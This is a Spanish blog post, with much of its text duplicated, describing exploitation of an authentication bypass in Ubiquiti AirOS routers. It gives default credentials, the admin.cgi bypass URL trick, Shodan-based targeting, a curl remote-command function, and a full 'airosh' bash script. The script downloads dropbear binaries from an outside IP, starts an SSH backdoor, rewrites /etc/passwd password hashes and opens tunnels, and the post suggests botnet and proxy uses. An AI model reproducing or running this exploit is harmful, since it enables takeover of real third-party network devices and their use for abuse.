En Diciembre del 2011, sd de fucksheep.org liberó un 0day que afectaba a los sistemas AirOS (http://seclists.org/fulldisclosure/2011/Dec/419) el cual fue parcheado aunque, como suele ser costumbre, no todos los sistemas han sido actualizados.
No quiero entrar en debate de si los responsables son los usuarios, o el desarrollador, simplemente expongo el tema.
Todo esto y algo más, fue reportado a Ubiquiti, los cuales al principio agradecieron la aportación, pero en el segundo contacto pasaron del tema y ni siquiera contestaron. Consideramos que ha pasado el suficiente tiempo como para publicar la información.
Todas las pruebas han sido realizadas en dispositivos propios, en ningún momento en ajenos. Este aporte es meramente informativo, y no me responsabilizo del mal uso que se le pueda dar a esta información.
Me gustaria agradecer por su inestimable trabajo a PunkiD y MARCOSCARS02.
Voy a comenzar con algunos conceptos básicos necesarios para entender el reporte:
¿Qué es un AirOS y que 0day es este?
AirOS es un sistema operativo avanzado, creado por Ubiquiti, capaz de manejar un sistema Wireless, enrutamiento y mínimas características ips y seguridad. Un sistema operativo para routers que busca la sencillez y la facilidad, siendo muy intuitivo, mas información en: http://www.ubnt.com/.
Hablemos un poco del hardware. Las CPU's de los sistemas AirOS son procesadores mips (Microprocessor without Interlocked Pipeline Stages). Es una arquitectura que consume muy pocos recursos y tiene una funcionalidad aceptable. Al ser de arquitectura distinta a la de los PC's convencionales (generalmente de 32 o 64 bits), si queremos compilar algo para mips, necesitamos recurrir a la crosscompilación, es decir, compilar un programa/servicio para una arquitectura distinta a la máquina en la que estamos trabajando. Tras muchas pruebas, recurrimos a Buildroot, una utilidad de uclib que permite desde compilar el toolchain hasta herramientas típicas y básicas, una imagen de sistema, etc.
El 0day afectaba al archivo admin.cgi, el cual es capaz de mostrar el panel “Device Administration Utility” que contiene:
Imágen del panel de administración:
Explotación
El usuario y la contraseña por defecto de los AirOS son:
Usuario: ubnt
Contraseña: ubnt
Se recomienda usar Shodan para la búsqueda de dispositivos AirOS, pero este tipo de búsquedas dejan escapar muchos dispositivos. Actualmente trabajamos en un scanner por rangos de IP para localizar todos.
Se puede observar que el error consiste en cambiar la url de una petición de login al cgi; /login.cgi/uri=/ por /admin.cgi/$vuln .
Siendo $vuln cualquiera de los sientes: *.ico *.gif, *.jpg, *.js, *.css, airview.jar.pack.gz, airview_manager.jnlp, airview.jnlp, airview.uavr.
Por ejemplo: http://IPairos/admin.cgi/lol.css
De esta forma conseguimos el panel de administración, para muchos el fin, pero esto es solo el principio.
Postexplotación
El sistema operativo que lleva montado, por defecto solo tiene permisos de lectura en la mayoría de los directorios del dispositivo. Pero en /etc hay permisos de escritura, así pues tenemos un /etc/persistent/ a modo de home en el dispositivo. Lo primero es tener consola root en el dispositivo, para poder tener el control total. A través del panel subimos y ejecutamos dropbear mas su respectiva key crosscompilados.
De esta forma ya hemos conseguido ssh. A partir de aquí, vuestra imaginación es lo importante, para ver el potencial de estos dispositivos.
Tras tener funcionales todos los binarios, tenemos un “miniserver” externo:
Tenemos un pequeño directorio con un puñado de binarios ya crosscompilados y listos para AirOS disponible en:
http://5.175.223.63/bin/
Y empaquetado en .tar:
http://5.175.223.63/bin.tar
Incluso podríamos incluir algunos más como ngircd (Un pequeño servidor IRC), o lo que se nos ocurra.
A continuación, vamos a pasar a automatizar estas tareas. Obviamente no puedo publicar más que un par de lineas para deja la imaginación flotar con bash y curl:
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!' -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }
Aplicaciones
Algunas de las cosas que se pueden hacer con estos dispositivos son:
Pasemos a automatizar todo el proceso anterior. Para ello utilizaremos el airosh de la siguiente manera:
./airosh IPairos
El script se ejecutará y automáticamente comprobará si el dispositivo es vulnerable. Si es así, procederá a subir Dropbear, y a cambiar las claves de acceso, con contraseña:lol. De esta forma, habremos conseguido el acceso al dispositivo como administrador.
CODIGO: http://5.175.223.63/airosh
No quiero entrar en debate de si los responsables son los usuarios, o el desarrollador, simplemente expongo el tema.
Todo esto y algo más, fue reportado a Ubiquiti, los cuales al principio agradecieron la aportación, pero en el segundo contacto pasaron del tema y ni siquiera contestaron. Consideramos que ha pasado el suficiente tiempo como para publicar la información.
Todas las pruebas han sido realizadas en dispositivos propios, en ningún momento en ajenos. Este aporte es meramente informativo, y no me responsabilizo del mal uso que se le pueda dar a esta información.
Me gustaria agradecer por su inestimable trabajo a PunkiD y MARCOSCARS02.
Voy a comenzar con algunos conceptos básicos necesarios para entender el reporte:
¿Qué es un AirOS y que 0day es este?
AirOS es un sistema operativo avanzado, creado por Ubiquiti, capaz de manejar un sistema Wireless, enrutamiento y mínimas características ips y seguridad. Un sistema operativo para routers que busca la sencillez y la facilidad, siendo muy intuitivo, mas información en: http://www.ubnt.com/.
Hablemos un poco del hardware. Las CPU's de los sistemas AirOS son procesadores mips (Microprocessor without Interlocked Pipeline Stages). Es una arquitectura que consume muy pocos recursos y tiene una funcionalidad aceptable. Al ser de arquitectura distinta a la de los PC's convencionales (generalmente de 32 o 64 bits), si queremos compilar algo para mips, necesitamos recurrir a la crosscompilación, es decir, compilar un programa/servicio para una arquitectura distinta a la máquina en la que estamos trabajando. Tras muchas pruebas, recurrimos a Buildroot, una utilidad de uclib que permite desde compilar el toolchain hasta herramientas típicas y básicas, una imagen de sistema, etc.
El 0day afectaba al archivo admin.cgi, el cual es capaz de mostrar el panel “Device Administration Utility” que contiene:
- Un Uploader.
- Un Chmod.
- Un Downloader.
- Una Shell.
Imágen del panel de administración:
Explotación
El usuario y la contraseña por defecto de los AirOS son:
Usuario: ubnt
Contraseña: ubnt
Se recomienda usar Shodan para la búsqueda de dispositivos AirOS, pero este tipo de búsquedas dejan escapar muchos dispositivos. Actualmente trabajamos en un scanner por rangos de IP para localizar todos.
Se puede observar que el error consiste en cambiar la url de una petición de login al cgi; /login.cgi/uri=/ por /admin.cgi/$vuln .
Siendo $vuln cualquiera de los sientes: *.ico *.gif, *.jpg, *.js, *.css, airview.jar.pack.gz, airview_manager.jnlp, airview.jnlp, airview.uavr.
Por ejemplo: http://IPairos/admin.cgi/lol.css
De esta forma conseguimos el panel de administración, para muchos el fin, pero esto es solo el principio.
Postexplotación
El sistema operativo que lleva montado, por defecto solo tiene permisos de lectura en la mayoría de los directorios del dispositivo. Pero en /etc hay permisos de escritura, así pues tenemos un /etc/persistent/ a modo de home en el dispositivo. Lo primero es tener consola root en el dispositivo, para poder tener el control total. A través del panel subimos y ejecutamos dropbear mas su respectiva key crosscompilados.
De esta forma ya hemos conseguido ssh. A partir de aquí, vuestra imaginación es lo importante, para ver el potencial de estos dispositivos.
Tras tener funcionales todos los binarios, tenemos un “miniserver” externo:
Tenemos un pequeño directorio con un puñado de binarios ya crosscompilados y listos para AirOS disponible en:
http://5.175.223.63/bin/
Y empaquetado en .tar:
http://5.175.223.63/bin.tar
Incluso podríamos incluir algunos más como ngircd (Un pequeño servidor IRC), o lo que se nos ocurra.
A continuación, vamos a pasar a automatizar estas tareas. Obviamente no puedo publicar más que un par de lineas para deja la imaginación flotar con bash y curl:
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!' -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }
Aplicaciones
Algunas de las cosas que se pueden hacer con estos dispositivos son:
- Encadenar AirOS a modo de proxys (SSH Tunneling).
- Shells de IRC.
- Bots.
- Servidor IRC.
- Servidor Web/ftp/etc
- Y muchas otras que podais imaginar.
Pasemos a automatizar todo el proceso anterior. Para ello utilizaremos el airosh de la siguiente manera:
./airosh IPairos
El script se ejecutará y automáticamente comprobará si el dispositivo es vulnerable. Si es así, procederá a subir Dropbear, y a cambiar las claves de acceso, con contraseña:lol. De esta forma, habremos conseguido el acceso al dispositivo como administrador.
CODIGO: http://5.175.223.63/airosh
#!/bin/bash
host=$1
portlocal=$2
hostfinal=$3
portfinal=$4
unset c
usage() {
# ./airosh IP
exit 1
}
[[ -z "$host" ]] && c=1
[[ -z "$portlocal" ]] && c=2
[[ -z "$hostfinal" ]] && c=2
[[ -z "$portfinal" ]] && c=2
if [[ $c = 1 ]]; then
echo "FAILED!"
usage
else
echo "OK"
fi
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!' -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }
runcmd 'cd /var/persistent;wget -q http://5.175.223.63/dropbearkey;wget -q http://5.175.223.63/dropbear;chmod +x dropbearkey dropbear;' >>/tmp/airos.log
runcmd "[[ -e /var/sshd/lol.rsa ]] || ./dropbearkey -t rsa -f /var/sshd/lol.rsa" >>/tmp/airos.log
runcmd "./dropbear -b /var/sshd/motd -r /var/sshd/lol.rsa;" >>/tmp/airos.log
runcmd 'sed -i -e "s/:[^:]*:/:$1$.et5JTtj$6U9j6CSf7g3lNfhFenOX11:/" /etc/passwd;cat /etc/passwd'
echo -en "| >>user: "
read usr
[[ -z "$usr" ]] && usr=admin
if [[ "$c" = 2 ]]; then
ssh -C "$usr@$host"
else
ssh -g -L "0.0.0.0:$portlocal:$hostfinal:$portfinal" "$usr@$host"
fi
</pre>
No hay comentarios:
Publicar un comentario